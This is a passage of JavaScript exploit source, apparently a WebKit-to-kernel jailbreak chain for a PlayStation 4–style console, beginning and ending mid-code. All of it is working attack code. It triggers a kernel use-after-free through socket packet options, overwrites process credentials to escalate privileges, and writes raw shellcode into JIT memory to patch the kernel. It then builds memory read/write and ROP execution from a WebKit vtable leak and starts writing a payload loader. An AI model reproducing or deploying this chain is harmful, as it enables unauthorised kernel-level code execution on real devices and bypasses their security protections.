var filedesc = kernel_read8(proc.add32(PROC_FILEDESC_OFFSET));
var ofiles = kernel_read8(filedesc);
target_file = kernel_read8(ofiles.add32(0x8 * target_socket))
socketops = kernel_read8(target_file.add32(FILE_FOPS_OFFSET));
}
//lower priority
p.write4(prio, 0x1FF);
chain.call(libKernelBase.add32(OFFSET_lk_pthread_setschedparam), me, 1, prio);
//find uaf
find_socket_overlap();
//play with uaf
fake_pktopts(0);
leak_sockets[overlapped_socket_idx] = spare_socket;
//leak shit
leak_pktopts();
fake_pktopts(leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET));
//find vvictim
find_slave();
brute_force_kernel_map();
const proc = find_proc();
const proc_ucred = kernel_read8(proc.add32(PROC_UCRED_OFFSET));
kernel_write8(proc_ucred.add32(0x68), new int64(0xFFFFFFFF, 0xFFFFFFFF));
find_execution_socket();
var exec_handle = chain.syscall(533, 0, 0x100000, 7);
var write_handle = chain.syscall(534, exec_handle, 3);
var write_address = chain.syscall(477, new int64(0x91000000, 0x9), 0x100000, 3, 17, write_handle, 0);
var exec_address = chain.syscall(477, new int64(0x90000000, 0x9), 0x100000, 0x5, 1, exec_handle, 0)
chain.syscall(324, 1);
if(exec_address.low != 0x90000000) {
alert("[ERROR] failed to allocate jit memory REBOOT");
while(1){};
}
var exec_writer = p.array_from_address(write_address, 0x4000);
for(var i = 0; i < 0x200; i++) {
exec_writer[i] = 0x90909090;
}
exec_writer[0x200] = 0x37C0C748;
exec_writer[0x201] = 0xC3000013;
if(chain.call(exec_address).low != 0x1337) {
alert("[ERROR] hmm weird REBOOT");
while(1){};
}
exec_writer[0] = 0x54415355;
exec_writer[1] = 0x1111BB48;
exec_writer[2] = 0x11111111;
exec_writer[3] = 0xBD481111;
exec_writer[4] = 0x22222222;
exec_writer[5] = 0x22222222;
exec_writer[6] = 0xBFE4314D;
exec_writer[7] = 0x000000C0;
exec_writer[8] = 0xBADE8948;
exec_writer[9] = 0x00000002;
exec_writer[10] = 0x8349D5FF;
exec_writer[11] = 0x814901C4;
exec_writer[12] = 0x000500FC;
exec_writer[13] = 0x41E47500;
exec_writer[14] = 0x655D5B5C;
exec_writer[15] = 0x25048B48;
exec_writer[16] = 0x00000000;
exec_writer[17] = 0x08408B48;
exec_writer[18] = 0x48408B48;
exec_writer[19] = 0x48008B48;
exec_writer[20] = 0x333333B9;
exec_writer[21] = 0x33333333;
exec_writer[22] = 0xC7C74833;
exec_writer[23] = 0x000002BE; // num sockets
exec_writer[24] = 0x48F63148;
exec_writer[25] = 0x117DFE39;
exec_writer[26] = 0x48B1148B;
exec_writer[27] = 0x00D004C7;
exec_writer[28] = 0x48000000;
exec_writer[29] = 0xEB01C683;
exec_writer[30] = 0x44BF48EA;
exec_writer[31] = 0x44444444;
exec_writer[32] = 0x48444444;
exec_writer[33] = 0x555555BE;
exec_writer[34] = 0x55555555;
exec_writer[35] = 0x37894855;
exec_writer[36] = 0x6666BF48;
exec_writer[37] = 0x66666666;
exec_writer[38] = 0x200F6666;
exec_writer[39] = 0xFF2548C0;
exec_writer[40] = 0x0FFFFEFF;
exec_writer[41] = 0x87C6C022;
exec_writer[42] = 0x0063A160;
exec_writer[43] = 0xC087C7C3;
exec_writer[44] = 0x480063AC;
exec_writer[45] = 0xC7C3C031;
exec_writer[46] = 0x639F1087;
exec_writer[47] = 0xC0314800;
exec_writer[48] = 0xE087C7C3;
exec_writer[49] = 0x480063A6;
exec_writer[50] = 0xC6C3C031;
exec_writer[51] = 0x67B5C087;
exec_writer[52] = 0xBE480002;
exec_writer[53] = 0x90909090;
exec_writer[54] = 0x8B499090;
exec_writer[55] = 0x08B78948;
exec_writer[56] = 0xC700264C;
exec_writer[57] = 0x087B7087;
exec_writer[58] = 0x0000B800;
exec_writer[59] = 0x9087C700;
exec_writer[60] = 0x00000004;
exec_writer[61] = 0x66000000;
exec_writer[62] = 0x04B987C7;
exec_writer[63] = 0x90900000;
exec_writer[64] = 0xBD87C766;
exec_writer[65] = 0x90000004;
exec_writer[66] = 0x87C76690;
exec_writer[67] = 0x000004C6;
exec_writer[68] = 0x87C6E990;
exec_writer[69] = 0x001D2336;
exec_writer[70] = 0x3987C637;
exec_writer[71] = 0x37001D23;
exec_writer[72] = 0xC187C766;
exec_writer[73] = 0x9000094E;
exec_writer[74] = 0x87C766E9;
exec_writer[75] = 0x0009547B;
exec_writer[76] = 0x87C7E990;
exec_writer[77] = 0x002F2C20;
exec_writer[78] = 0xC3C03148;
exec_writer[79] = 0x7087C748;
exec_writer[80] = 0x02011258;
exec_writer[81] = 0x48000000;
exec_writer[82] = 0xB192B78D;
exec_writer[83] = 0x89480006;
exec_writer[84] = 0x125878B7;
exec_writer[85] = 0x9C87C701;
exec_writer[86] = 0x01011258;
exec_writer[87] = 0x48000000;
exec_writer[88] = 0x0100000D;
exec_writer[89] = 0xC0220F00;
exec_writer[90] = 0x8080B848;
exec_writer[91] = 0x80808080;
exec_writer[92] = 0x90C38080;
p.write8(write_address.add32(0x6), kernel_base.add32(KERNEL_M_IP6OPT_OFFSET));
p.write8(write_address.add32(0x10), kernel_base.add32(KERNEL_MALLOC_OFFSET));
p.write8(write_address.add32(0x51), fix_these_sockets_ptr);
p.write8(write_address.add32(0x7B), target_file.add32(FILE_FOPS_OFFSET));
p.write8(write_address.add32(0x85), socketops);
p.write8(write_address.add32(0x92), kernel_base);
p.write8(fake_socketops.add32(FILEOPS_IOCTL_OFFSET), exec_address);
kernel_write8(target_file.add32(FILE_FOPS_OFFSET), fake_socketops);
chain.syscall(54, target_socket, 0x20001111, 0);
}
function binloader() {
p = window.prim;
p.launch_chain = launch_chain;
p.malloc = malloc;
p.malloc32 = malloc32;
p.stringify = stringify;
p.readString = readString;
p.array_from_address = array_from_address;
//pointer to vtable address
var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
//address of vtable
var textAreaVtable = p.read8(textAreaVtPtr);
//use address of 1st entry (in .text) to calculate webkitbase
webKitBase = p.read8(textAreaVtable).sub32(OFFSET_WK_vtable_first_element);
libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import)));
libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset);
libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import)));
libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);
for (var gadget in gadgetmap) {
window.gadgets[gadget] = webKitBase.add32(gadgetmap[gadget]);
}
function get_jmptgt(address) {
var instr = p.read4(address) & 0xFFFF;
var offset = p.read4(address.add32(2));
if (instr != 0x25FF) {
return 0;
}
return address.add32(0x6 + offset);
}
function malloc(sz) {
var backing = new Uint8Array(0x10000 + sz);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz) {
var backing = new Uint8Array(0x10000 + sz * 4);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
function array_from_address(addr, size) {
var og_array = new Uint32Array(0x1000);
var og_array_i = p.leakval(og_array).add32(0x10);
p.write8(og_array_i, addr);
p.write4(og_array_i.add32(8), size);
nogc.push(og_array);
return og_array;
}
function stringify(str) {
var bufView = new Uint8Array(str.length + 1);
for (var i = 0; i < str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
}
window.nogc.push(bufView);
return p.read8(p.leakval(bufView).add32(0x10));
}
function readString(addr)
{
var byte = p.read4(addr);
var str = "";
var i = 0;
while (byte & 0xFF)
{
str += String.fromCharCode(byte & 0xFF);
byte = p.read4(addr.add32(i));
i++;
}
return str;
}
var fakeVtable_setjmp = p.malloc32(0x200);
var fakeVtable_longjmp = p.malloc32(0x200);
var original_context = p.malloc32(0x40);
var modified_context = p.malloc32(0x40);
p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp);
p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
p.write8(fakeVtable_setjmp.add32(0x10), original_context);
p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp));
p.write8(fakeVtable_setjmp.add32(0x1D8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp);
p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
p.write8(fakeVtable_longjmp.add32(0x10), modified_context);
p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
p.write8(fakeVtable_longjmp.add32(0x1D8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
function launch_chain(chain) {
chain.push(window.gadgets["pop rdi"]);
chain.push(original_context);
chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
p.write8(textAreaVtPtr, fakeVtable_setjmp);
textArea.scrollLeft = 0x0;
p.write8(modified_context.add32(0x00), window.gadgets["ret"]);
p.write8(modified_context.add32(0x10), chain.stack);
p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40)))
p.write8(textAreaVtPtr, fakeVtable_longjmp);
textArea.scrollLeft = 0x0;
p.write8(textAreaVtPtr, textAreaVtable);
}
var kview = new Uint8Array(0x1000);
var kstr = p.leakval(kview).add32(0x10);
var orig_kview_buf = p.read8(kstr);
p.write8(kstr, window.libKernelBase);
p.write4(kstr.add32(8), 0x40000);
var countbytes;
for (var i = 0; i < 0x40000; i++) {
if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {
countbytes = i;
break;
}
}
p.write4(kstr.add32(8), countbytes + 32);
var dview32 = new Uint32Array(1);
var dview8 = new Uint8Array(dview32.buffer);
for (var i = 0; i < countbytes; i++) {
if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {
dview8[0] = kview[i + 3];
dview8[1] = kview[i + 4];
dview8[2] = kview[i + 5];
dview8[3] = kview[i + 6];
var syscallno = dview32[0];
window.syscalls[syscallno] = window.libKernelBase.add32(i);
}
}
p.write8(kstr, orig_kview_buf);
chain = new rop();
if (chain.syscall(23, 0).low != 0x0) {
try {
stage3();
} catch (e) {
alert(e);
}
}
payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
payload_loader = p.malloc32(0x1000);
var loader_writer = payload_loader.backing;
loader_writer[0] = 0x56415741;
loader_writer[1] = 0x83485541;
loader_writer[2] = 0x894818EC;
loader_writer[3] = 0xC748243C;
loader_writer[4] = 0x10082444;
loader_writer[5] = 0x483C2302;
loader_writer[6] = 0x102444C7;
loader_writer[7] = 0x00000000;
loader_writer[8] = 0x000002BF;
loader_writer[9] = 0x0001BE00;
loader_writer[10] = 0xD2310000;
loader_writer[11] = 0x00009CE8;
loader_writer[12] = 0xC7894100;
loader_writer[13] = 0x8D48C789;
loader_writer[14] = 0xBA082474;
loader_writer[15] = 0x00000010;
loader_writer[16] = 0x000095E8;
loader_writer[17] = 0xFF894400;
loader_writer[18] = 0x000001BE;
loader_writer[19] = 0x0095E800;
loader_writer[20] = 0x89440000;
loader_writer[21] = 0x31F631FF;
loader_writer[22] = 0x0062E8D2;
loader_writer[23] = 0x89410000;
loader_writer[24] = 0x2C8B4CC6;